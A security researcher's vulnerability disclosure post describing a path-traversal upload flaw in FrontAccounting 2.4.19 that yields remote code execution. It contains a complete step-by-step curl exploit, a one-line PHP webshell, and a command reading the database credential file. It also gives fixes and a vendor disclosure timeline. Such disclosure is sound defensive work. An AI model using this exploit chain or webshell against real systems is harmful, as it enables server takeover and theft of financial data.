This is Part 1 of a 4-part series on vulnerabilities I found in FrontAccounting 2.4.19, an open-source accounting and ERP system used by small businesses worldwide. The series covers:
We start with the worst one.
I was mapping FrontAccounting's input handling when I noticed something that made me pause. The application has a global sanitization function called html_cleanup() in includes/session.inc that runs htmlspecialchars() with ENT_QUOTES across every $_GET, $_POST, and $_REQUEST variable before any application logic touches them. On the surface, this is a reasonable defense-in-depth measure. It encodes ', ", <, >, and & — the characters you need for XSS and most injection attacks.
But I started thinking about what it doesn't encode. Forward slashes. Dots. Spaces. Numbers. Letters. SQL keywords. Every character in ../../../shell.php passes through htmlspecialchars() completely unmodified.
And then I found the attachment upload handler.
FrontAccounting is a web-based, double-entry accounting system targeting small companies. It handles everything you'd expect from an ERP: customers, suppliers, inventory, banking, GL, reporting. It's PHP on the backend, MariaDB for storage, and it's been around long enough that a lot of small businesses and accountants depend on it. The codebase is classic PHP — no framework, direct $_POST access, SQL built by concatenation, the usual patterns from the mid-2000s era. The version I tested was 2.4.19, running PHP 7.4.33 on Apache 2.4.54 with MariaDB 10.6.25.
Before we get to the vulnerability, you need to understand the defense. In includes/session.inc, the function html_cleanup() iterates over the superglobals and runs htmlspecialchars($value, ENT_QUOTES) on every value. This is applied early in the request lifecycle, before any business logic runs.
What htmlspecialchars(ENT_QUOTES) encodes:
' becomes '" becomes "< becomes <> becomes >& becomes &What it does NOT encode:
/ — needed for path traversal. — needed for path traversal and file extensionsUNION, SELECT, SLEEP, etc.) — relevant for Parts 2-4There's a second gap that matters here: $_FILES is not a regular POST parameter. PHP handles file uploads through a separate mechanism. The temporary file path, original filename, MIME type, and file content are in $_FILES, not $_POST. The html_cleanup() function iterates over $_POST and $_GET — it never touches $_FILES. The content of an uploaded file is never sanitized.
These two facts together — traversal characters surviving html_cleanup(), and file content bypassing it entirely — are the whole vulnerability.
File: includes/ui/attachment.inc, the db_insert() method, starting around line 200:
if(isset($_POST['unique_name']) && $_POST['unique_name'] <> '')
$attachment_file_name = $_POST['unique_name'];
else
$attachment_file_name = uniqid();
$filename = $attach_dir."/".$attachment_file_name;
move_uploaded_file($_FILES['file_attachment_name']['tmp_name'], $filename);
The $attach_dir is /var/www/html/company/0/attachments. The application takes $_POST['unique_name'] and uses it directly as the filename in that directory. No basename() call. No extension check. No path validation. If unique_name is ../../../webshell.php, the resolved path becomes /var/www/html/company/0/attachments/../../../webshell.php, which normalizes to /var/www/html/webshell.php.
The db_update() method at lines 252-255 has the same pattern — same vulnerability on attachment updates.
My first instinct was to look at admin/attachments.php, which seemed like the obvious place for attachment management. I spent time tracing through it before realizing it's not vulnerable to this specific issue. That file uses $row['unique_name'] from the database for updates (not user-controlled at that point) and random_id() for inserts. The admin attachment manager is actually safe.
The vulnerable path is different. The attachments class from includes/ui/attachment.inc is instantiated directly by several business-object management pages. These pages embed the attachment UI as a tab within the entity editor. To find the actual attack surface, I had to grep for every place that creates a new attachments(...) instance.
The attachments class is instantiated by these pages:
/sales/manage/customers.php — requires SA_CUSTOMER/inventory/manage/items.php — requires SA_ITEM/purchasing/manage/suppliers.php — requires SA_SUPPLIER/gl/manage/bank_accounts.php — requires SA_BANKACCOUNTAll of these also require SA_ATTACHDOCUMENT to actually add attachments. These permissions are assigned to multiple default roles: AP Officer, Accountant, Sub Admin. You don't need to be an admin to exploit this. Any user with one of these standard roles can get RCE.
That distinction matters for scoring. The CVSS vector is PR:L, not PR:H — you don't need elevated privileges, just a standard accounting role. The difference is 9.1 versus 9.9. More importantly, it reframes the threat model entirely: this isn't "what if an admin goes rogue." It's "what happens when an AP invoice clerk gets phished."
I used the customer management page as the entry point. The upload requires navigating through the attachment tab's state machine — you need to click "New" to enter creation mode before the upload form appears. Each step requires the current CSRF token (_token), which rotates on every request.
The full attack is a multi-step flow:
Step 1: Authenticate
COOKIE=$(curl -sk -D- -o /dev/null -X POST "${TARGET}/index.php" \
-d 'user_name_entry_field=admin&password=password&company_login_name=0' 2>&1 \
| grep 'Set-Cookie:' | tail -1 | sed 's/Set-Cookie: //;s/;.*//' | tr -d '\r')
Step 2: Navigate to a customer page to get the initial token
T1=$(curl -sk -b "$COOKIE" "${TARGET}/sales/manage/customers.php?debtor_no=1" \
| grep -o '_token" value="[^"]*' | head -1 | sed 's/_token" value="//')
Step 3: Switch to the Attachments tab
T2=$(curl -sk -b "$COOKIE" -X POST "${TARGET}/sales/manage/customers.php" \
-d "_tabs_sel=attachments&customer_id=1&tabs_attachments=Attachments&_token=${T1}&attachmentMode[]=" \
| grep -o '_token" value="[^"]*' | head -1 | sed 's/_token" value="//')
Step 4: Click "New" to enter attachment creation mode
T3=$(curl -sk -b "$COOKIE" -X POST "${TARGET}/sales/manage/customers.php" \
-d "_tabs_sel=attachments&customer_id=1&attachmentNEW=New&_token=${T2}&attachmentMode[]=" \
| grep -o '_token" value="[^"]*' | head -1 | sed 's/_token" value="//')
Step 5: Upload the webshell with path traversal
TMPFILE=$(mktemp /tmp/shell_XXXXX.php)
echo '<?php system($_GET["cmd"]); ?>' > "$TMPFILE"
curl -sk -b "$COOKIE" -X POST "${TARGET}/sales/manage/customers.php" \
-F "_tabs_sel=attachments" -F "customer_id=1" -F "tran_date=04/12/2026" \
-F "description=poc_rce_test" -F "type_no=41" -F "unique_name=../../../poc_rce_demo.php" \
-F "file_attachment_name=@${TMPFILE};type=application/x-php" \
-F "attachmentADD=Add" -F "attachmentMode[]=NEW" -F "_token=${T3}" -F "_modified=1"
rm -f "$TMPFILE"
Step 6: Execute
curl -sk "https://192.168.5.16:8443/poc_rce_demo.php?cmd=id"
Result:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

uid=33(www-data) from the uploaded webshell

Once you have code execution as www-data, the database credentials are one file read away:
curl -sk "https://192.168.5.16:8443/poc_rce_demo.php?cmd=cat+/var/www/html/config_db.php"
This returns the database connection string: root:rootpass@db for the frontaccounting database. From there, direct database access gives you everything — all financial records, all user credentials, complete compromise of the accounting system.

config_db.php via RCEThis vulnerability is exploitable standalone by any user with SA_CUSTOMER + SA_ATTACHDOCUMENT permissions — no SQLi, no hash cracking, no admin pivot required. Five HTTP requests from a standard accounting account to a root-equivalent webshell. That's the most critical attack chain in this series, and it doesn't need any of the findings in Parts 2-4 to work.
But it also sits at the top of a longer chain. The SQL injection findings covered in Parts 2-4 extract password hashes (unsalted MD5 — crackable in seconds). Crack a password for any account with attachment permissions, and you have RCE from an even lower starting point. The full chain:
Low-privilege user → SQLi (Part 2) → MD5 hash extraction → rainbow table / hashcat → credentials for account with SA_ATTACHDOCUMENT → path traversal upload → webshell → RCE as www-data → database credentials → full compromise
The fix needs to address three things:
1. Sanitize the filename in includes/ui/attachment.inc:
// Replace direct use of $_POST['unique_name'] with:
$attachment_file_name = basename($_POST['unique_name']);
// Or better: generate a random name and ignore user input entirely
$attachment_file_name = uniqid() . '_' . random_int(1000, 9999);
2. Validate file extensions — maintain an allowlist of permitted attachment extensions and reject anything with .php, .phtml, .phar, etc.:
$allowed_extensions = ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'jpg', 'png', 'gif', 'txt', 'csv'];
$ext = strtolower(pathinfo($original_filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
display_error(_("File type not permitted."));
return false;
}
3. Verify the resolved path stays within the attachment directory:
$resolved = realpath(dirname($filename));
$expected = realpath($attach_dir);
if (strpos($resolved, $expected) !== 0) {
display_error(_("Invalid file path."));
return false;
}
Apply the same fixes to both db_insert() and db_update() in the attachments class.
| Date | Event |
|---|---|
| 2026-04-11 | Vulnerability discovered during independent security research |
| 2026-04-16 | Vendor notified with full technical details |
| 2026-04-17 | Vendor acknowledgment |
| 2026-04-17 | CVE-2026-40521 assigned |
| 2026-04-26 | Version 2.4.20 released with the fix |
| 2026-06-27 | Public disclosure |
Next in the series: Part 2 covers a UNION-based SQL injection in the reporting module that dumps user credentials directly into a PDF.
Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.